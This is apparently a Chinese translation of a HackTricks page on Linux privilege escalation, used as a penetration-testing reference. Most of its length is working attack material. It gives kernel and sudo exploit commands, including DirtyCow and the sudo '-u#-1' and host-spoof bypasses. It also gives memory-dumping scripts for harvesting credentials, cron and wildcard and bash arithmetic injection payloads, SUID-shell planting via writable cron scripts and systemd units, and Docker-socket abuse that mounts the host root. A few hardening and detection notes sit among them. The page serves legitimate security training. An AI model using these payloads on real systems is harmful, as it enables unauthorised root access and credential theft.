Linux Privilege Escalation
Tip
学习和实践 AWS 黑客技术:
HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
学习和实践 Azure 黑客技术:
HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
系统信息
操作系统信息
让我们开始了解正在运行的操作系统。
(cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems
cat /etc/os-release 2>/dev/null # universal on modern systems
路径
如果你 对 PATH 变量中的任何文件夹具有写权限,你可能能够劫持某些库或二进制文件:
echo $PATH
环境信息
环境变量中有有趣的信息、passwords 或 API keys 吗?
(env || set) 2>/dev/null
Kernel exploits
检查 kernel 版本,并查看是否存在可以用来 escalate privileges 的 exploit。
cat /proc/version
uname -a
searchsploit "Linux Kernel"
你可以在这里找到一个不错的易受攻击内核列表以及一些已经 compiled exploits: https://github.com/lucyoa/kernel-exploits and exploitdb sploits.
其他可以找到一些 compiled exploits 的站点: https://github.com/bwbwbwbw/linux-exploit-binaries, https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack
要从这些站点提取所有易受攻击的内核版本,你可以这样做:
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
可以帮助搜索 kernel exploits 的工具有:
linux-exploit-suggester.sh
linux-exploit-suggester2.pl
linuxprivchecker.py (在 victim 上执行,仅检查 kernel 2.x 的 exploits)
始终 在 Google 上搜索 kernel 版本,也许你的 kernel 版本写在某个 kernel exploit 中,这样你就能确定该 exploit 有效。
其他 kernel exploitation 技术:
Adreno A7xx Sds Rb Priv Bypass Gpu Smmu Kernel Rw Arm64 Static Linear Map Kaslr Bypass
CVE-2016-5195 (DirtyCow)
Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8
# make dirtycow stable
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs
https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c
Sudo 版本
基于出现以下易受攻击的 sudo 版本:
searchsploit sudo
你可以使用这个 grep 检查 sudo 版本是否存在漏洞。
sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]"
Sudo < 1.9.17p1
在 1.9.17p1 之前的 Sudo 版本(1.9.14 - 1.9.17 < 1.9.17p1)允许非特权本地用户在从用户控制的目录使用 /etc/nsswitch.conf 文件时,通过 sudo 的 --chroot 选项将权限提升为 root。
这里有一个 PoC 用于利用该 vulnerability。在运行 exploit 之前,确保你的 sudo 版本易受影响并且支持 chroot 功能。
有关更多信息,请参阅原始 vulnerability advisory
Sudo host-based rules bypass (CVE-2025-32462)
Sudo 在 1.9.17p1 之前(报告的受影响范围:1.8.8–1.9.17)会使用来自 sudo -h <host> 的 用户提供的主机名 来评估基于主机的 sudoers 规则,而不是使用 真实主机名。如果 sudoers 在另一台主机上授予更广泛的权限,你可以在本地 spoof 那台主机。
Requirements:
- 易受影响的 sudo 版本
- 针对特定主机的 sudoers 规则(主机既不是当前主机名也不是
ALL)
Example sudoers pattern:
Host_Alias SERVERS = devbox, prodbox
Host_Alias PROD = prodbox
alice SERVERS, !PROD = NOPASSWD:ALL
通过伪造被允许的主机进行利用:
sudo -h devbox id
sudo -h devbox -i
如果伪造的名称解析被阻止,将其添加到 /etc/hosts,或使用一个已在 logs/configs 中出现的 hostname 以避免 DNS lookups。
sudo < v1.8.28
来自 @sickrov
sudo -u#-1 /bin/bash
Dmesg 签名验证失败
查看 smasher2 box of HTB 以获取如何利用此漏洞的 示例
dmesg 2>/dev/null | grep "signature"
更多系统枚举
date 2>/dev/null #Date
(df -h || lsblk) #System stats
lscpu #CPU info
lpstat -a 2>/dev/null #Printers info
列举可能的防御措施
AppArmor
if [ `which aa-status 2>/dev/null` ]; then
aa-status
elif [ `which apparmor_status 2>/dev/null` ]; then
apparmor_status
elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then
ls -d /etc/apparmor*
else
echo "Not found AppArmor"
fi
Grsecurity
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
PaX
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
Execshield
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
SElinux
(sestatus 2>/dev/null || echo "Not found sestatus")
ASLR
cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled
Container Breakout
如果你在 container 内,先从下面的 container-security 部分开始,然后转向 runtime-specific abuse 页面:
驱动器
检查 哪些已挂载和未挂载、挂载点在哪里以及原因。如果有任何未挂载的项,你可以尝试将其挂载并检查是否包含私密信息
ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
#Check if credentials in fstab
grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null
有用的软件
枚举有用的二进制文件
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
另外,检查是否安装了 any compiler is installed。如果你需要使用某些 kernel exploit,这很有用,因为建议在你将使用它的机器(或一台类似的机器)上进行编译。
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
已安装的易受攻击软件
检查已安装软件包和服务的版本。可能存在一些旧的 Nagios 版本(例如),可以被利用来进行 escalating privileges…
建议手动检查更可疑的已安装软件的版本。
dpkg -l #Debian
rpm -qa #Centos
如果你有 SSH 访问权限,你也可以使用 openVAS 来检查机器中安装的过时和易受攻击的软件。
[!NOTE] > 请注意,这些命令会显示大量几乎无用的信息,因此建议使用像 OpenVAS 或类似的应用来检查任何已安装的软件版本是否易受已知 exploits 的攻击
进程
查看正在执行的 哪些进程,并检查是否有任何进程拥有 超过应有的权限(例如 tomcat 由 root 执行?)
ps aux
ps -ef
top -n 1
始终检查是否有 electron/cef/chromium debuggers running, you could abuse it to escalate privileges。Linpeas 会通过检查进程命令行中的 --inspect 参数来检测这些。
另外,请check your privileges over the processes binaries,也许你可以覆盖某些文件。
跨用户的父子进程链
子进程以不同用户身份运行而非其父进程并不自动意味着恶意,但这是一个有用的排查信号。某些转换是预期的(root 派生服务用户、登录管理器创建会话进程),但异常的链条可能暴露出包装器、调试辅助工具、持久化手段或薄弱的运行时信任边界。
快速回顾:
ps -eo pid,ppid,user,comm,args --sort=ppid
pstree -alp
如果你发现一条意外的链,检查父命令行以及所有影响其行为的文件(config, EnvironmentFile, helper scripts, working directory, writable arguments)。在多个真实的 privesc 路径中,子进程本身不可写,但 parent-controlled config 或辅助链是可写的。
已删除的可执行文件和已删除但仍被打开的文件
运行时产物在 删除后 通常仍然可访问。这既有助于 privilege escalation,也有助于从已经打开敏感文件的进程中恢复证据。
检查已删除的可执行文件:
pid=<PID>
ls -l /proc/$pid/exe
readlink /proc/$pid/exe
tr '\0' ' ' </proc/$pid/cmdline; echo
如果 /proc/<PID>/exe 指向 (deleted),则该进程仍在从内存运行旧的二进制镜像。这是需要调查的强烈信号,因为:
- 被移除的可执行文件可能包含有价值的字符串或凭证
- 运行中的进程可能仍然暴露有用的文件描述符
- 被删除的有特权的二进制文件可能表明近期有篡改或尝试清理的行为
全局收集被删除但仍打开的文件:
lsof +L1
如果你发现一个有趣的 descriptor,请直接恢复它:
ls -l /proc/<PID>/fd
cat /proc/<PID>/fd/<FD>
当一个进程仍然打开已删除的 secret、script、database export 或 flag 文件时,这尤其有价值。
进程监控
你可以使用像 pspy 这样的工具来监控进程。这对于识别频繁执行的或在满足特定条件时运行的易受攻击进程非常有用。
进程内存
服务器上的某些服务会将 credentials in clear text inside the memory。
通常你需要 root privileges 才能读取属于其他用户的进程的内存,因此这通常在你已经 root 并想发现更多 credentials 时更有用。
然而,请记住,作为普通用户你可以读取你拥有的进程的内存。
Warning
注意,现在大多数机器 默认不允许 ptrace,这意味着你无法 dump 属于非特权用户的其他进程。
文件 /proc/sys/kernel/yama/ptrace_scope 控制 ptrace 的可访问性:
- kernel.yama.ptrace_scope = 0: 所有进程都可以被调试,只要它们具有相同的 uid。这是 ptracing 的经典工作方式。
- kernel.yama.ptrace_scope = 1: 只有父进程可以被调试。
- kernel.yama.ptrace_scope = 2: 只有管理员可以使用 ptrace,因为它需要 CAP_SYS_PTRACE 能力。
- kernel.yama.ptrace_scope = 3: 不允许使用 ptrace 跟踪任何进程。设置后需要重启才能再次启用 ptrace。
GDB
如果你可以访问某个 FTP 服务(例如)的内存,你可以获取 Heap 并在其中搜索 credentials。
gdb -p <FTP_PROCESS_PID>
(gdb) info proc mappings
(gdb) q
(gdb) dump memory /tmp/mem_ftp <START_HEAD> <END_HEAD>
(gdb) q
strings /tmp/mem_ftp #User and password
GDB 脚本
#!/bin/bash
#./dump-memory.sh <PID>
grep rw-p /proc/$1/maps \
| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \
| while read start stop; do \
gdb --batch --pid $1 -ex \
"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \
done
/proc/$pid/maps & /proc/$pid/mem
对于给定的进程 ID,maps 显示该进程的内存在其虚拟地址空间中如何映射;它还显示每个映射区域的权限。The mem pseudo file exposes the processes memory itself。从 maps 文件中我们知道哪些内存区域是可读的及其偏移。我们使用这些信息来定位到 mem 文件并转储所有可读区域到一个文件。
procdump()
(
cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-"
while read a b; do
dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \
skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin"
done )
cat $1*.bin > $1.dump
rm $1*.bin
)
/dev/mem
/dev/mem 提供对系统的 物理 内存的访问,而不是虚拟内存。内核的虚拟地址空间可以使用 /dev/kmem 访问。
通常,/dev/mem 仅可被 root 和 kmem 组读取。
strings /dev/mem -n10 | grep -i PASS
ProcDump for linux
ProcDump 是对来自 Windows 上 Sysinternals 套件中经典 ProcDump 工具的 Linux 重新构想。可在 https://github.com/Sysinternals/ProcDump-for-Linux 获取。
procdump -p 1714
ProcDump v1.2 - Sysinternals process dump utility
Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license.
Mark Russinovich, Mario Hewardt, John Salem, Javid Habibi
Monitors a process and writes a dump file when the process meets the
specified criteria.
Process: sleep (1714)
CPU Threshold: n/a
Commit Threshold: n/a
Thread Threshold: n/a
File descriptor Threshold: n/a
Signal: n/a
Polling interval (ms): 1000
Threshold (s): 10
Number of Dumps: 1
Output directory for core dumps: .
Press Ctrl-C to end monitoring without terminating the process.
[20:20:58 - WARN]: Procdump not running with elevated credentials. If your uid does not match the uid of the target process procdump will not be able to capture memory dumps
[20:20:58 - INFO]: Timed:
[20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714
工具
要转储进程内存,你可以使用:
- https://github.com/Sysinternals/ProcDump-for-Linux
- https://github.com/hajzer/bash-memory-dump (root) - _你可以手动移除对 root 的要求并转储由你拥有的进程
- Script A.5 来自 https://www.delaat.net/rp/2016-2017/p97/report.pdf (需要 root)
从进程内存获取凭证
手动示例
如果你发现 authenticator 进程正在运行:
ps -ef | grep "authenticator"
root 2027 2025 0 11:46 ? 00:00:00 authenticator
你可以 dump the process(参见前文以了解 dump the memory of a process 的不同方法),并在 memory 中搜索 credentials:
./dump-memory.sh 2027
strings *.dump | grep -i password
mimipenguin
该工具 https://github.com/huntergregal/mimipenguin 会从内存和一些已知文件中窃取明文凭证。它需要 root 权限才能正常工作。
| 功能 | 进程名称 |
|---|---|
| GDM 密码 (Kali Desktop, Debian Desktop) | gdm-password |
| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon |
| LightDM (Ubuntu Desktop) | lightdm |
| VSFTPd (Active FTP Connections) | vsftpd |
| Apache2 (Active HTTP Basic Auth Sessions) | apache2 |
| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: |
搜索正则/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
Scheduled/Cron jobs
Crontab UI (alseambusher) running as root – web-based scheduler privesc
如果 web “Crontab UI” 面板 (alseambusher/crontab-ui) 以 root 身份运行且只绑定到 loopback,你仍然可以通过 SSH local port-forwarding 访问它,并创建一个特权任务来提升权限。
Typical chain
- 发现仅绑定到 loopback 的端口(例如 127.0.0.1:8000)和 Basic-Auth realm,可通过
ss -ntlp/curl -v localhost:8000 - 在操作性工件中查找凭证:
- 包含使用
zip -P <password>加密的备份/脚本 - systemd unit 暴露出
Environment="BASIC_AUTH_USER=..."、Environment="BASIC_AUTH_PWD=..." - 建立隧道并登录:
ssh -L 9001:localhost:8000 user@target
# browse http://localhost:9001 and authenticate
- 创建一个高权限的 job 并立即运行(会获得 SUID shell):
# Name: escalate
# Command:
cp /bin/bash /tmp/rootshell && chmod 6777 /tmp/rootshell
- 使用它:
/tmp/rootshell -p # root shell
加固
- 不要以 root 身份运行 Crontab UI;应限制为专用用户并授予最小权限
- 绑定到 localhost,并通过 firewall/VPN 进一步限制访问;不要重复使用密码
- 避免在 unit files 中嵌入 secrets;使用 secret stores 或仅 root 可访问的 EnvironmentFile
- 为按需作业执行启用 audit/logging
检查是否有任何计划任务易受攻击。也许你可以利用由 root 执行的脚本(wildcard vuln? can modify files that root uses? use symlinks? create specific files in the directory that root uses?)
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
如果使用 run-parts,检查哪些名称会真正被执行:
run-parts --test /etc/cron.hourly
run-parts --test /etc/cron.daily
这可以避免误报。可写的 periodic 目录只有在你的 payload 文件名符合本地 run-parts 规则时才有用。
Cron 路径
例如,在 /etc/crontab 中你可以找到 PATH:PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(注意 user 用户对 /home/user 具有写权限)
如果在该 crontab 中 root 尝试在未设置 PATH 的情况下执行某个命令或脚本。例如: * * * * root overwrite.sh\
然后,你可以通过使用:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
Cron 使用带有通配符的脚本 (Wildcard Injection)
如果一个脚本以 root 身份执行,并且在命令中包含 “*”,你可以利用这一点导致意外行为(例如 privesc)。示例:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
If the wildcard is preceded of a path like /some/path/* ,它就不易受攻击(即使 ./* 也不)。
Read the following page for more wildcard exploitation tricks:
Bash arithmetic expansion injection in cron log parsers
Bash 在 ((…)), $((…)) 和 let 中进行算术求值之前,会先执行 parameter expansion 和 command substitution。如果 root 的 cron/parser 读取不受信任的日志字段并将它们送入算术上下文,attacker 可以注入一个 command substitution $(…),当 cron 运行时该命令会以 root 身份执行。
-
为什么它可行:In Bash, expansions occur in this order: parameter/variable expansion, command substitution, arithmetic expansion, then word splitting and pathname expansion。 所以像
$(/bin/bash -c 'id > /tmp/pwn')0这样的值会先被替换(执行命令),然后剩下的数字0用于算术运算,使脚本继续而不会报错。 -
典型的易受攻击模式:
#!/bin/bash
# Example: parse a log and "sum" a count field coming from the log
while IFS=',' read -r ts user count rest; do
# count is untrusted if the log is attacker-controlled
(( total += count )) # or: let "n=$count"
done < /var/www/app/log/application.log
- 利用方法:让 attacker-controlled 文本被写入被解析的日志,使看起来像数字的字段包含一个 command substitution 并以数字结尾。确保你的命令不要向 stdout 打印(或重定向),这样算术运算才保持有效。
# Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim):
$(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0
# When the root cron parser evaluates (( total += count )), your command runs as root.
Cron script overwriting and symlink
如果你 can modify a cron script executed by root,你可以非常容易地获得一个 shell:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
如果由 root 执行的脚本使用了一个你拥有完全访问权限的 目录,那么删除该文件夹并创建一个指向另一个的 symlink folder,用于托管由你控制的 script,可能会很有用。
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
Symlink 验证和更安全的文件处理
在审查以路径读取或写入文件的有特权 scripts/binaries 时,确认链接如何被处理:
stat()会跟随 symlink 并返回目标的元数据。lstat()返回链接本身的元数据。readlink -f和namei -l有助于解析最终目标并显示每个路径组件的权限。
readlink -f /path/to/link
namei -l /path/to/link
对于防御者/开发者,防范 symlink tricks 的更安全做法包括:
O_EXCLwithO_CREAT: 如果路径已存在则失败(阻止攻击者预先创建的链接/文件)。openat(): 相对于受信任目录的文件描述符进行操作。mkstemp(): 以安全权限原子地创建临时文件。
带可写 payload 的自签名 cron 二进制文件
蓝队有时会通过导出自定义 ELF section 并在以 root 身份执行前 grep 某个 vendor string 来“签名”由 cron 驱动的二进制文件。如果该二进制是 group-writable(例如 /opt/AV/periodic-checks/monitor 属于 root:devs 770)且你能 leak 签名材料,你就可以伪造该 section 并劫持 cron 任务:
- 使用
pspy捕获校验流程。在 Era 中,root 运行了objcopy --dump-section .text_sig=text_sig_section.bin monitor,随后运行grep -oP '(?<=UTF8STRING :)Era Inc.' text_sig_section.bin,然后执行该文件。 - 使用泄露的 key/config(来自
signing.zip)重建预期证书:
openssl req -x509 -new -nodes -key key.pem -config x509.genkey -days 365 -out cert.pem
- 构建一个恶意替换(例如放置一个 SUID bash,添加你的 SSH key),并将证书嵌入
.text_sig,使得 grep 通过:
gcc -fPIC -pie monitor.c -o monitor
objcopy --add-section .text_sig=cert.pem monitor
objcopy --dump-section .text_sig=text_sig_section.bin monitor
strings text_sig_section.bin | grep 'Era Inc.'
- 在保留可执行位的情况下覆盖计划的二进制:
cp monitor /opt/AV/periodic-checks/monitor
chmod 770 /opt/AV/periodic-checks/monitor
- 等待下一次 cron 运行;一旦简单的签名校验通过,你的 payload 将以 root 身份运行。
Frequent cron jobs
你可以监控进程以查找每 1、2 或 5 分钟被执行的进程。也许你可以利用它来提升权限。
例如,要在1分钟内每0.1秒监控、按执行次数从少到多排序命令并删除被执行次数最多的命令,可以执行:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
你也可以使用 pspy (这将监视并列出每一个启动的进程)。
Root 备份(保留攻击者设置的 mode bits)(pg_basebackup)
如果由 root 拥有的 cron 对你可写的数据库目录执行 pg_basebackup(或任何递归复制),你可以植入一个 SUID/SGID binary,该文件会以相同的 mode bits 被重新复制为 root:root 到备份输出中。
典型发现流程(作为低权限 DB 用户):
- 使用
pspy发现一个 root cron 每分钟调用类似/usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/的命令。 - 确认源集群(例如
/var/lib/postgresql/14/main)对你可写,且目标(/opt/backups/current)在任务执行后变为 root 所有。
利用:
# As the DB service user owning the cluster directory
cd /var/lib/postgresql/14/main
cp /bin/bash .
chmod 6777 bash
# Wait for the next root backup run (pg_basebackup preserves permissions)
ls -l /opt/backups/current/bash # expect -rwsrwsrwx 1 root root ... bash
/opt/backups/current/bash -p # root shell without dropping privileges
这是可行的,因为 pg_basebackup 在复制集群时会保留文件模式位;当以 root 调用时,目标文件会继承 root ownership + attacker-chosen SUID/SGID。任何类似的具备特权的备份/复制例程,只要保留权限并写入可执行位置,就可能存在漏洞。
隐形 cron jobs
可以创建一个 cronjob,在注释之后放置一个回车字符(不包含换行字符),且该 cron job 仍然会生效。示例(注意回车字符):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
要检测这种隐蔽的入侵,请使用能够显示控制字符的工具检查 cron 文件:
cat -A /etc/crontab
cat -A /etc/cron.d/*
sed -n 'l' /etc/crontab /etc/cron.d/* 2>/dev/null
xxd /etc/crontab | head
服务
可写的 .service 文件
检查是否可以写入任何 .service 文件,如果可以,你可以修改它,使其在服务启动、重启或停止时执行你的backdoor(可能需要等待机器重启)。
例如在 .service 文件中创建你的 backdoor,使用 ExecStart=/tmp/script.sh
可写的服务二进制文件
请记住,如果你对由服务执行的二进制文件具有写权限,你可以将它们替换为 backdoors,这样当服务再次执行时,backdoors 就会被执行。
systemd PATH - 相对路径
你可以查看 systemd 使用的 PATH:
systemctl show-environment
如果你发现可以在路径的任意文件夹中进行 write,你可能能够 escalate privileges。你需要在服务配置文件中搜索使用 relative paths being used on service configurations 的情况,例如:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
然后,在你可以写入的 systemd PATH 文件夹中,创建一个名为 same name as the relative path binary 的 executable,当服务被要求执行易受攻击的动作(Start, Stop, Reload)时,你的 backdoor will be executed(非特权用户通常无法启动/停止服务,但检查是否可以使用 sudo -l)。
通过 man systemd.service 了解有关服务的更多信息。
Timers
Timers 是 systemd 单元文件,其名称以 **.timer** 结尾,用于控制 **.service** 文件或触发事件。Timers 可以作为 cron 的替代方案,因为它们内建对日历时间事件和单调时间事件的支持,并且可以异步运行。
你可以使用以下命令枚举所有 timers:
systemctl list-timers --all
可写的定时器
如果你能修改一个定时器,你就可以让它执行 systemd.unit 的一些现有单元(例如 .service 或 .target)
Unit=backdoor.service
在文档中你可以看到 Unit 的定义:
在计时器到期时要激活的 unit。参数是一个 unit 名称,其后缀不是 “.timer”。如果未指定,此值默认为与 timer unit 同名但后缀不同的 service。(见上文。)建议被激活的 unit 名称与 timer unit 的 unit 名称除了后缀之外保持一致。
因此,要滥用此权限,你需要:
- 找到某个 systemd unit(例如
.service),它正在 执行一个可写的二进制文件 - 找到某个 systemd unit,执行相对路径,并且你对 systemd PATH 拥有 可写权限(以冒充该可执行文件)
使用 man systemd.timer 了解更多关于 timers 的信息。
启用计时器
要启用计时器,你需要 root 权限并执行:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
Note the timer is activated by creating a symlink to it on /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
套接字
Unix Domain Sockets (UDS) 在客户端-服务器模型中使得同一台或不同机器上的 进程间通信 成为可能。它们使用标准的 Unix 描述符文件进行主机间通信,并通过 .socket 文件进行配置。
Sockets can be configured using .socket files.
Learn more about sockets with man systemd.socket. 在该文件中,可以配置几个有趣的参数:
ListenStream,ListenDatagram,ListenSequentialPacket,ListenFIFO,ListenSpecial,ListenNetlink,ListenMessageQueue,ListenUSBFunction: 这些选项彼此不同,但总体上用于 指示将在哪监听 该 socket(AF_UNIX socket 文件的路径、要监听的 IPv4/6 和/或端口号等)。Accept: 接受一个布尔参数。若为 true,则会为每个传入连接生成一个 service instance,并且仅将连接套接字传递给它。若为 false,则所有监听套接字本身会传递给启动的 service unit,并且只为所有连接生成一个 service unit。对于数据报套接字和 FIFOs,此值被忽略,因为单个 service unit 无条件处理所有传入流量。默认值为 false。出于性能原因,建议只以适合Accept=no的方式编写新的 daemons。ExecStartPre,ExecStartPost: 接受一个或多个命令行,这些命令会在监听的 sockets/FIFOs 被创建 并绑定之前或之后分别执行。命令行的第一个标记必须是一个绝对文件名,后面跟随进程的参数。ExecStopPre,ExecStopPost: 在监听的 sockets/FIFOs 被关闭 并移除之前或之后分别执行的额外 命令。Service: 指定在 传入流量 时要 激活 的 service 单元名称。此设置仅允许用于 Accept=no 的 sockets。它默认为与 socket 同名的 service(后缀被替换)。在大多数情况下,不需要使用此选项。
可写的 .socket 文件
如果你找到一个可写的 .socket 文件,你可以在 [Socket] 部分的开头添加类似这样的内容:ExecStartPre=/home/kali/sys/backdoor,backdoor 将在 socket 创建之前被执行。因此,你很可能需要等待机器重启。
Note that the system must be using that socket file configuration or the backdoor won’t be executed
Socket activation + writable unit path (create missing service)
另一种高影响的错误配置是:
- a socket unit with
Accept=noandService=<name>.service - the referenced service unit is missing
- an attacker can write into
/etc/systemd/system(or another unit search path)
在这种情况下,攻击者可以创建 <name>.service,然后触发对该 socket 的流量,使 systemd 加载并以 root 身份执行新的 service。
Quick flow:
systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p
可写 sockets
如果你 发现任何可写的 socket (现在我们说的是 Unix Sockets,而不是配置 .socket 文件),那么你 可以与该 socket 通信,并可能利用某个漏洞。
枚举 Unix Sockets
netstat -a -p --unix
原始连接
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
利用示例:
HTTP sockets
注意可能有一些sockets listening for HTTP requests(我不是在说 .socket files,但指的是充当 unix sockets 的那些文件)。你可以用下面的命令检查:
curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/
如果该 socket 响应 HTTP 请求,那么你可以与之通信,并可能利用某些漏洞。
可写的 Docker Socket
Docker socket(通常位于 /var/run/docker.sock)是一个需要加固的关键文件。默认情况下,root 用户和 docker 组的成员对其具有写权限。对该 socket 拥有写权限可能导致 privilege escalation。下面分解说明如何做到这一点,以及在 Docker CLI 不可用时的替代方法。
Privilege Escalation with Docker CLI
如果你对 Docker socket 有写权限,可以使用以下命令来提升权限:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
这些命令允许你运行一个 container,从而对主机的文件系统获得 root 级别访问权限。
直接使用 Docker API
在 Docker CLI 不可用的情况下,仍然可以通过 Docker API 和 curl 命令 操作 Docker socket。
- List Docker Images: 检索可用的 images 列表。
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- Create a Container: 发送请求创建一个挂载主机根目录的 container。
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
启动新创建的 container:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- Attach to the Container: 使用
socat建立与 container 的连接,从而在其中执行命令。
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
在建立 socat 连接后,你可以在 container 中直接执行命令,并以 root-level 访问主机的文件系统。
Others
注意,如果你对 docker socket 有写权限,因为你 属于 docker 组,你有more ways to escalate privileges。如果docker API is listening in a port you can also be able to compromise it。
在以下位置查看 更多从 containers 逃逸或滥用 container runtimes 以提权的方法:
Containerd (ctr) 提权
如果你发现可以使用 ctr 命令,请阅读以下页面,因为 你可能能够滥用它来提权:
Containerd (ctr) Privilege Escalation
RunC 提权
如果你发现可以使用 runc 命令,请阅读以下页面,因为 你可能能够滥用它来提权:
D-Bus
D-Bus 是一个复杂的进程间通信(IPC)系统,使应用程序能够高效地交互和共享数据。它为现代 Linux 系统设计,提供了用于各种应用间通信的健壮框架。
该系统非常灵活,支持增强的基本 IPC,以促进进程间的数据交换,有点类似于增强版的 UNIX domain sockets。此外,它支持事件或信号的广播,促进系统组件之间的无缝集成。例如,蓝牙守护进程关于来电的信号可以促使音乐播放器静音,从而改善用户体验。D-Bus 还支持远程对象系统,简化应用之间的服务请求和方法调用,简化传统上复杂的流程。
D-Bus 基于允许/拒绝(allow/deny)模型运行,根据匹配策略规则的累积效果来管理消息权限(方法调用、信号发射等)。这些策略规定了与总线(bus)的交互,可能允许通过滥用这些权限来提权。
